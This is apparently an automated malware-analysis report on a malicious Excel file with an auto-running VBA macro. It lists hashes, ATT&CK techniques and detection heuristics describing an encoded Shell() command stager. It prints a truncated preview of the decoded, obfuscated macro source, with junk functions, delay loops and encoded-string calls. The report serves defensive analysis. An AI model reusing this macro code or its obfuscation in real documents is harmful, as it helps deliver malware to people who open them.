Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09a0002abf1ba367…

MALICIOUS

Office (OLE)

114.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2019-12-09
MD5: e6471e52708c7d2e66eafdc828d76166 SHA-1: ec5051595cb6a2f813659ebcecb361fa06e325a6 SHA-256: 09a0002abf1ba367ddfa5ab8a41de2e251ae66973a9c175274595c60a17d56c1
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file contains VBA macros, specifically an Auto_Open macro that utilizes a character-shift decoded Shell() command. This indicates the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. The ClamAV detection and critical heuristics for Shell() calls and character-shift decoding strongly suggest malicious intent.

Heuristics 7

  • ClamAV: Doc.Macro.GenericHeuristic-5901772-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5901772-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16393 bytes
SHA-256: 35f9450b731efe97035d240988b703a1ef5e22887e262feafa8f18125fa98f35
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Sub VBlhVqgQlveeQD()

If YNNUVI2kl("TDloIlpDNjwjVxTRuctf", YNNUVI2kl("8", "6")) = YNNUVI2kl("LmxrJG_zXPM", "5") Then End

Dim imv6nOttE As Long

imv6nOttE = YNNUVI2kl("@A<@", "8")

If YNNUVI2kl("ghNTnvlQLMKP{HO", YNNUVI2kl("8", "6")) = YNNUVI2kl("ML\RTLlNsq", "8") Then End

If YNNUVI2kl("\yitzv�XYuv€]Jn}jqIQ", "7") = YNNUVI2kl("kfg_jUNUzZK[fiY", "5") Then End

Dim ZDlnaPIzW As Integer

ZDlnaPIzW = 1

Do While ZDlnaPIzW < 38

   DoEvents: ZDlnaPIzW = ZDlnaPIzW + 1

Loop

End Sub
Private Sub YZQcMFMrRD()
GoTo rTyjeSneUitcbOAcyKZ
rTyjeSneUitcbOAcyKZ:

End Sub
Private Function YKOocaTmjFcAFCNQg()
GoTo rTyjeSneUitcbOAcyKZ
rTyjeSneUitcbOAcyKZ:
If "QuJdwPKzfopnsdVeHUTk" = "qiHQOzhjEhlzJ" Then End

End Function
Public Function sfRsONqQobf()
GoTo rTyjeSneUitcbOAcyKZ
rTyjeSneUitcbOAcyKZ:
If "QuJdwPKzfopnsdVeHUTk" = "qiHQOzhjEhlzJ" Then End
Dim CzVsQIEQhwRF As Currency
CzVsQIEQhwRF = "6045"

End Function
Public Function KMtNSbQwEFD()
GoTo rTyjeSneUitcbOAcyKZ
rTyjeSneUitcbOAcyKZ:
If "QuJdwPKzfopnsdVeHUTk" = "qiHQOzhjEhlzJ" Then End
Dim CzVsQIEQhwRF As Currency
CzVsQIEQhwRF = "6045"
Dim YlkAEHyYngPxzU As Integer
YlkAEHyYngPxzU = "6553"

End Function
Public Sub LuIiiIReGaFdvUvGAS()
GoTo rTyjeSneUitcbOAcyKZ
rTyjeSneUitcbOAcyKZ:
If "QuJdwPKzfopnsdVeHUTk" = "qiHQOzhjEhlzJ" Then End
Dim CzVsQIEQhwRF As Currency
CzVsQIEQhwRF = "6045"
Dim YlkAEHyYngPxzU As Integer
YlkAEHyYngPxzU = "6553"
If "ZUhyMUVfCxbdJPjrhMH" = "GLwDKbBBQGJBbDigN" Then End

End Sub
Public Sub QNERcLKyyaiuQqVt()
GoTo rTyjeSneUitcbOAcyKZ
rTyjeSneUitcbOAcyKZ:
If "QuJdwPKzfopnsdVeHUTk" = "qiHQOzhjEhlzJ" Then End
Dim CzVsQIEQhwRF As Currency
CzVsQIEQhwRF = "6045"
Dim YlkAEHyYngPxzU As Integer
YlkAEHyYngPxzU = "6553"
If "ZUhyMUVfCxbdJPjrhMH" = "GLwDKbBBQGJBbDigN" Then End
If "DVSpZkpmxOPlmvTAe" = "agzHxdYZQcMFMr" Then End

End Sub
Private Function DTYaRrTyjeSneUitcbO()
GoTo rTyjeSneUitcbOAcyKZ
rTyjeSneUitcbOAcyKZ:
If "QuJdwPKzfopnsdVeHUTk" = "qiHQOzhjEhlzJ" Then End
Dim CzVsQIEQhwRF As Currency
CzVsQIEQhwRF = "6045"
Dim YlkAEHyYngPxzU As Integer
YlkAEHyYngPxzU = "6553"
If "ZUhyMUVfCxbdJPjrhMH" = "GLwDKbBBQGJBbDigN" Then End
If "DVSpZkpmxOPlmvTAe" = "agzHxdYZQcMFMr" Then End
Dim ZGYKOocaTmjFcAFCN As Currency
ZGYKOocaTmjFcAFCN = "981"

End Function

Private Sub sILOGfInQSHcSJQhQ()

GoTo pSiOUowmRMMLQBuBg

pSiOUowmRMMLQBuBg:

Dim laMNTcFuW As Long

laMNTcFuW = YNNUVI2kl(";52;", YNNUVI2kl("8", "6"))

End Sub
Public Sub qKeYNtCCBGrkrVjiyBEw()
GoTo vxRuzMQsFtfGdcDlCo
vxRuzMQsFtfGdcDlCo:

End Sub
Private Sub SsDxPMkFeQSevJ()
GoTo vxRuzMQsFtfGdcDlCo
vxRuzMQsFtfGdcDlCo:
GoTo vZaGbgoeJSSRQuA
vZaGbgoeJSSRQuA:

End Sub

Public Sub jLfKiAMAxrJGeNYeamCD()

GoTo pSiOUowmRMMLQBuBg

pSiOUowmRMMLQBuBg:

End Sub
Public Function MlAteLNiKPdaIVvvQfsT()
Dim jJUOhPmVhnjuLbijt As Currency
jJUOhPmVhnjuLbijt = "5684"

End Function
Public Sub rYexFuaVVTZKQ()
Dim jJUOhPmVhnjuLbijt As Currency
jJUOhPmVhnjuLbijt = "5684"
Dim fUYPoRwucQlbRgqZZL As Integer
fUYPoRwucQlbRgqZZL = 4
Do While fUYPoRwucQlbRgqZZL < 25
   DoEvents: fUYPoRwucQlbRgqZZL = fUYPoRwucQlbRgqZZL + 1
Loop

End Sub
Public Function kEjHZlaQQjgDnxDzL()
Dim jJUOhPmVhnjuLbijt As Currency
jJUOhPmVhnjuLbijt = "5684"
Dim fUYPoRwucQlbRgqZZL As Integer
fUYPoRwucQlbRgqZZL = 4
Do While fUYPoRwucQlbRgqZZL < 25
   DoEvents: fUYPoRwucQlbRgqZZL = fUYPoRwucQlbRgqZZL + 1
Loop
Dim JhNrHouNVKqmmlp As String
JhNrHouNVKqmmlp = "2898"

End Function
Private Function FgRilogEiM()
Dim jJUOhPmVhnjuLbijt As Currency
jJUOhPmVhnjuLbijt = "5684"
Dim fUYPoRwucQlbRgqZZL As Integer
fUYPoRwucQlbRgqZZL = 4
Do While fUYPoRwucQlbRgqZZL < 25
   DoEvents: fUYPoRwucQlbRgqZZL = fUYPoRwucQlbRgqZZL + 1
Loop
Dim JhNrHouNVKqmmlp As String
JhNrHouNVKqmmlp = "2898"
GoTo riwGppcOqMZnUmY
riwGppcOqMZnUmY:

End Function
Private Function BqnhzwTpNT()
Dim jJUOhPmVhnjuLbijt As Currency
jJUOhPmVhnjuLbijt = "5684"
Dim fUYPoRwucQlbRgqZZL As Integer
fUYPoRwucQlbRgqZZL = 4
Do While fUYPoRwucQlbRgqZ
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.